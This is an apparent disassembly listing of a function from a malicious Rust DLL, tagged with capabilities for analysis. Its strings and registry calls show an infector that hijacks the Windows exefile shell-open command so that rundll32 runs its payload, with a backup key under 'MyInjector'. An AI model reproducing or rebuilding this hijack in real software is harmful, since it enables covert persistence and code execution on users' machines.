Function at 0x180005250
Capabilities:
Query or enumerate registry value
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x948
movdqa xmmword [rsp + 0x930], xmm13
movdqa xmmword [rsp + 0x920], xmm12
movdqa xmmword [rsp + 0x910], xmm11
movdqa xmmword [rsp + 0x900], xmm10
movdqa xmmword [rsp + 0x8f0], xmm9
movdqa xmmword [rsp + 0x8e0], xmm8
movdqa xmmword [rsp + 0x8d0], xmm7
movdqa xmmword [rsp + 0x8c0], xmm6
test byte [0x1801bb160], 1
jne 0x1800052d1
mov qword [0x1801bb160], 1
pxor xmm0, xmm0
movdqu xmmword [0x1801bb168], xmm0
lea rcx, [0x18012989c]
mov edx, 0x1c
call fcn.180004dd0
lea rsi, [rsp + 0xc0]
mov r8d, 0x208
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
test eax, eax
je 0x180005df4
mov r8d, eax
cmp eax, 0x105
jae 0x180005e25
lea rsi, [rsp + 0x38]
lea rdx, [rsp + 0xc0]
mov rcx, rsi
call fcn.1800e7c10
mov rcx, rsi
call fcn.1800f7a00
mov rcx, rax
call fcn.1800e9ee0
test rax, rax
je 0x180005366
mov r8, rdx
lea rcx, [rsp + 0x58]
mov rdx, rax
call fcn.1800e55f0
test byte [rsp + 0x58], 1
je 0x18000541f
lea rcx, str.Failed_to_retrieve_process_nameattempt_to_join_into_collection_with_len___usize::MAX_rustc_28a58f2fa7f0c46b8fab8237c02471a915924fe5library_alloc_src_str.rs
mov edx, 0x1f
call fcn.180100330
mov rdi, rax
mov rsi, rdx
movabs rbx, 0x8000000000000000
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x1800053a1
mov rcx, qword [rsp + 0x40]
mov r8d, 1
call fcn.1800098b0
mov rax, rbx
neg rax
jno 0x1800053b7
test rdi, rdi
je 0x180005755
jmp 0x180005e51
lea rcx, [rsp + 0x38]
mov rdx, rdi
mov r8, rsi
call fcn.180100910
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
cmp rsi, 0xc
jbe 0x180005463
cmp rsi, 0x1a
ja 0x18000549a
movabs rax, 0x32336c6c646e7572
nop
cmp rsi, 0xc
setae r14b
jb 0x18000571e
dec rsi
mov rcx, qword [rbp]
mov edx, dword [rbp + 8]
inc rbp
xor rcx, rax
xor rdx, 0x6578652e
or rdx, rcx
jne 0x1800053f0
jmp 0x18000571e
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x180005634
js 0x180005ea8
movzx eax, byte [0x1801bb181]
mov r14d, 1
mov edx, 1
mov rcx, rsi
call fcn.1800098a0
test rax, rax
je 0x180005eab
mov rdi, rax
jmp 0x180005639
jne 0x18000561f
movabs rax, 0x32336c6c646e7572
xor rax, qword [rbp]
mov ecx, dword [rbp + 8]
xor rcx, 0x6578652e
or rcx, rax
sete r14b
movzx esi, r14b
test rbx, rbx
jne 0x180005727
jmp 0x180005738
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xc8], rsi
lea rax, [0x1801297e1]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0xb
cmp rsi, 0x4c
jb 0x18000565d
mov r15d, 0x30
xor r14d, r14d
movdqa xmm6, xmmword [str.rrrrrrrrrrrrrrrreeeeeeeeeeeeeeeedescription___is_deprecated__use_Display_M]
movdqa xmm7, xmmword [0x1801295e0]
lea r12, [rsp + 0xc0]
lea r13, [r15 - 0x30]
test r14b, 1
jne 0x180005663
movdqu xmm0, xmmword [rbp + r15 - 0x30]
movdqu xmm1, xmmword [rbp + r15 - 0x25]
movdqu xmm12, xmmword [rbp + r15 - 0x20]
movdqu xmm13, xmmword [rbp + r15 - 0x15]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
movdqu xmm10, xmmword [rbp + r15 - 0x10]
movdqu xmm11, xmmword [rbp + r15 - 5]
movdqu xmm8, xmmword [rbp + r15]
movdqu xmm9, xmmword [rbp + r15 + 0xb]
test r8d, r8d
jne 0x1800055b3
pcmpeqb xmm12, xmm6
pcmpeqb xmm13, xmm7
pand xmm13, xmm12
pmovmskb r8d, xmm13
test r8w, r8w
jne 0x1800055c6
pcmpeqb xmm10, xmm6
pcmpeqb xmm11, xmm7
pand xmm11, xmm10
pmovmskb r8d, xmm11
test r8w, r8w
jne 0x1800055e3
pcmpeqb xmm8, xmm6
pcmpeqb xmm9, xmm7
pand xmm9, xmm8
pmovmskb r8d, xmm9
test r8w, r8w
jne 0x180005600
lea r13, [r15 + 0x40]
add r15, 0x5b
cmp r15, rsi
mov r15, r13
jb 0x1800054f0
jmp 0x1800056df
mov rcx, r12
mov rdx, r13
xor r9d, r9d
call fcn.180108c40
mov r14d, eax
jmp 0x18000554c
lea rdx, [r15 - 0x20]
mov r9d, r14d
and r9b, 1
mov rcx, r12
call fcn.180108c40
or al, r14b
and al, 1
mov r14d, eax
jmp 0x180005566
lea rdx, [r15 - 0x10]
mov r9d, r14d
and r9b, 1
mov rcx, r12
call fcn.180108c40
or al, r14b
and al, 1
mov r14d, eax
jmp 0x180005580
mov r9d, r14d
and r9b, 1
mov rcx, r12
mov rdx, r15
call fcn.180108c40
or al, r14b
and al, 1
mov r14d, eax
jmp 0x18000559a
xor r14d, r14d
movzx esi, r14b
test rbx, rbx
jne 0x180005727
jmp 0x180005738
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rbx, rsi
mov rdx, qword [rsp + 0x38]
test rdx, rdx
jne 0x180005391
jmp 0x1800053a1
xor r14d, r14d
xor r13d, r13d
lea rax, [r13 + 0x1b]
cmp rax, rsi
jae 0x1800056f0
movdqa xmm6, xmmword [str.rrrrrrrrrrrrrrrreeeeeeeeeeeeeeeedescription___is_deprecated__use_Display_M]
movdqa xmm7, xmmword [0x1801295e0]
lea r15, [rsp + 0xc0]
nop dword [rax + rax]
test r14b, 1
jne 0x1800056f0
movdqu xmm0, xmmword [rbp + r13]
pcmpeqb xmm0, xmm6
movdqu xmm1, xmmword [rbp + r13 + 0xb]
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x1800056cc
lea rax, [r13 + 0x10]
add r13, 0x2b
cmp r13, rsi
mov r13, rax
jb 0x180005690
jmp 0x1800056f0
mov rcx, r15
mov rdx, r13
xor r9d, r9d
call fcn.180108c40
mov r14d, eax
jmp 0x1800056ba
add r13, 0xffffffffffffffd0
lea rax, [r13 + 0x1b]
cmp rax, rsi
jb 0x180005670
movdqu xmm0, xmmword [rbp + rsi - 0x1b]
movdqu xmm1, xmmword [rbp + rsi - 0x10]
pcmpeqb xmm0, xmmword [str.rrrrrrrrrrrrrrrreeeeeeeeeeeeeeeedescription___is_deprecated__use_Display_M]
pcmpeqb xmm1, xmmword [0x1801295e0]
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x180005d30
movzx esi, r14b
test rbx, rbx
je 0x180005738
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.1800098b0
and esi, 1
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x180005755
mov rcx, qword [rsp + 0x40]
mov r8d, 1
call fcn.1800098b0
test sil, 1
je 0x1800057c2
lea rcx, str.Infected_process_detected._Executing_payload...Failed_to_execute_the_original_application:
mov edx, 0x2f
call fcn.180004dd0
cmp byte [0x1801bb15c], 0
jne 0x180005781
call fcn.180002670
mov byte [0x1801bb15c], 1
call fcn.180004fa0
test rax, rax
je 0x180005b20
mov qword [rsp + 0x70], rax
lea rax, [0x180129828]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58], rax
lea rax, [0x1800097f0]
mov qword [rsp + 0x60], rax
lea rax, [0x180129a38]
jmp 0x180005a7f
lea rcx, str.This_is_the_infector_process._Starting_infection...Failed_to_infect_process:
mov edx, 0x33
call fcn.180004dd0
lea rcx, [rsp + 0xc0]
call fcn.1800020e0
mov rax, qword [rsp + 0xc0]
mov rdi, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
mov ebx, dword [rsp + 0xd0]
jno 0x180005830
movzx eax, byte [0x1801bb181]
mov ecx, 0x10
mov edx, 8
call fcn.1800098a0
test rax, rax
je 0x180005e8d
mov qword [rax], rdi
mov dword [rax + 8], ebx
lea r15, [0x180129828]
jmp 0x180005a58
mov ecx, dword [rsp + 0xdc]
mov dword [rsp + 0x54], ecx
mov rcx, qword [rsp + 0xd4]
mov qword [rsp + 0x4c], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], ebx
lea rcx, [rsp + 0x38]
call fcn.1800f7a00
mov r8, rdx
lea rcx, [rsp + 0xc0]
mov rdx, rax
call fcn.1800e55f0
test byte [rsp + 0xc0], 1
jne 0x180005e9c
mov r14, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0xd0]
test rdi, rdi
je 0x1800058c4
js 0x180005eb6
movzx eax, byte [0x1801bb181]
mov r15d, 1
mov edx, 1
mov rcx, rdi
call fcn.1800098a0
test rax, rax
je 0x180005eb9
mov rbx, rax
jmp 0x1800058c9
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x1800058f1
mov rcx, qword [rsp + 0x40]
mov r8d, 1
call fcn.1800098b0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rdi
call fcn.180004d70
mov qword [rsp + 0x90], rax
lea rax, str.exefile_shellopencommandrundll32.exe____DllMain_
mov qword [rsp + 0x38], rax
lea rax, [0x180129a62]
mov qword [rsp + 0x40], rax
mov word [rsp + 0x48], 0
mov dword [rsp + 0x50], 1
lea r15, [rsp + 0xc0]
lea r14, [rsp + 0x38]
mov rcx, r15
mov rdx, r14
call fcn.180007740
mov r12, qword [rsp + 0xc8]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000000
mov rdx, r12
xor r8d, r8d
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebp, eax
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
je 0x18000599b
add rdx, rdx
mov r8d, 2
mov rcx, r12
call fcn.1800098b0
test ebp, ebp
jne 0x1800059fa
mov r8d, 0x800
mov rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x8c], 0x400
mov rcx, qword [rsp + 0x90]
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebp, eax
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebp, ebp
je 0x180005b80
call fcn.1800ef150
mov r14d, eax
movzx eax, byte [0x1801bb181]
mov ecx, 8
mov edx, 8
call fcn.1800098a0
test rax, rax
je 0x180005e16
shl r14, 0x20
or r14, 2
mov qword [rax], r14
lea r15, [0x180129b00]
test rdi, rdi
je 0x180005a4f
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
mov rdi, rax
call fcn.1800098b0
mov rax, rdi
test rax, rax
je 0x180005db3
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r15
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58], rax
lea rax, [0x1800097f0]
mov qword [rsp + 0x60], rax
lea rax, [0x180129950]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0xc0]
call fcn.180100760
mov rdi, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rcx, rdi
call fcn.180004dd0
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x180005af4
mov r8d, 1
mov rcx, rdi
call fcn.1800098b0
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov rax, qword [rbx]
test rax, rax
je 0x180005b0b
mov rcx, rdi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x180005b20
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.1800098b0
and sil, 1
mov eax, esi
movaps xmm6, xmmword [rsp + 0x8c0]
movaps xmm7, xmmword [rsp + 0x8d0]
movaps xmm8, xmmword [rsp + 0x8e0]
movaps xmm9, xmmword [rsp + 0x8f0]
movaps xmm10, xmmword [rsp + 0x900]
movaps xmm11, xmmword [rsp + 0x910]
movaps xmm12, xmmword [rsp + 0x920]
movaps xmm13, xmmword [rsp + 0x930]
add rsp, 0x948
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [rsp + 0x8c]
mov ecx, eax
shr ecx, 1
cmp eax, 0x802
jae 0x180005f80
lea rax, [rsp + rcx*2]
add rax, 0xc0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], rax
mov word [rsp + 0x68], 0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x58]
call fcn.1800086a0
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov rdx, rcx
neg rdx
mov r15, qword [rsp + 0x80]
jo 0x180005a33
mov qword [rsp + 0x98], rcx
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], r15
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
lea rax, [0x180009550]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [0x180002070]
mov qword [rsp + 0x50], rax
lea rax, [0x180129a80]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 2
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xd0], r14
mov qword [rsp + 0xd8], 2
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0xc0]
call fcn.180100760
mov r14, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea rdx, str.exefile_shellopencommandrundll32.exe____DllMain_
mov r8d, 0x1a
mov rcx, 0xffffffff80000000
mov r9, r14
call fcn.180005fa0
test rax, rax
jne 0x180005cdc
mov r9, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMyInjectorBackupCommand
mov r8d, 0x21
mov rcx, 0xffffffff80000001
call fcn.180005fa0
test rax, rax
je 0x180005d65
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x180005cfa
mov r8d, 1
mov rcx, r14
mov r14, rax
call fcn.1800098b0
mov rax, r14
mov rdx, qword [rsp + 0x98]
lea r15, [0x180129b00]
test rdx, rdx
je 0x180005a33
mov rcx, qword [rsp + 0xa0]
mov r8d, 1
mov r14, rax
call fcn.1800098b0
mov rax, r14
jmp 0x180005a33
add rsi, 0xffffffffffffffe5
mov r9d, r14d
and r9b, 1
lea rcx, [rsp + 0xc0]
mov rdx, rsi
call fcn.180108c40
or al, r14b
and al, 1
mov r14d, eax
movzx esi, r14b
test rbx, rbx
jne 0x180005727
jmp 0x180005738
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x180005d7d
mov r8d, 1
mov rcx, r14
call fcn.1800098b0
mov rdx, qword [rsp + 0x98]
test rdx, rdx
je 0x180005d9d
mov rcx, qword [rsp + 0xa0]
mov r8d, 1
call fcn.1800098b0
test rdi, rdi
je 0x180005db3
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call fcn.1800098b0
call fcn.180004fa0
test rax, rax
je 0x180005ec4
mov qword [rsp + 0x70], rax
lea rax, [0x180129828]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58], rax
lea rax, [0x1800097f0]
mov qword [rsp + 0x60], rax
lea rax, str.Failed_to_execute_original_application:__
jmp 0x180005a7f
call fcn.1800ef150
mov esi, eax
movzx eax, byte [0x1801bb181]
mov ecx, 8
mov edx, 8
call fcn.1800098a0
test rax, rax
jne 0x180005e3c
mov ecx, 8
mov edx, 8
call fcn.18010e6a0
lea rax, [0x180129b58]
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.18010ed80
mov rdi, rax
shl rsi, 0x20
or rsi, 2
mov qword [rax], rsi
lea rsi, [0x180129b00]
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], rsi
lea rax, [0x1801298e8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1801298b8]
lea r9, fcn.180004d20
lea r8, [rsp + 0xc0]
mov edx, 0x2e
call fcn.18010ec80
mov ecx, 8
mov edx, 0x10
call fcn.18010e6a0
lea rcx, [0x1801297f0]
call fcn.18010e870
xor r14d, r14d
mov rcx, r14
mov rdx, rsi
call fcn.18010e680
xor r15d, r15d
mov rcx, r15
mov rdx, rdi
call fcn.18010e680
call fcn.180005080
test rax, rax
je 0x180005f78
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58], rax
lea rax, [0x1800097f0]
mov qword [rsp + 0x60], rax
lea rax, str.Failed_to_receive_registry_restore_signal:
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0xc0]
call fcn.180100760
mov rsi, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rcx, rsi
call fcn.180004dd0
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x180005f6e
mov r8d, 1
mov rcx, rsi
call fcn.1800098b0
lea rcx, [rsp + 0x70]
call fcn.180004d20
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea r8, [0x180129ac8]
mov edx, 0x400
call fcn.18010ed80
int3